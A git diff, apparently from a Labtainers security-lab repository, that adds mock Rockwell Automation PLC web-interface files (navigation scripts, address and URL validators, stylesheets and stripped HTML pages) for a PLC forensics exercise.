"#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network.html new file mode 100644 index 000000000..659784097 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network.html @@ -0,0 +1,198 @@ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Initial Network Configuration
Ethernet Interface Configuration
Network Interface
IP Address
Subnet Mask
Default Gateway
Primary Name Server
Secondary Name Server
Domain Name
Hostname
Name Resolution (DNS)

Ethernet Link
Autonegotiate Status
Select Port Speed +
Select Duplex Mode

+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/network_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview.html new file mode 100644 index 000000000..a575509e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + 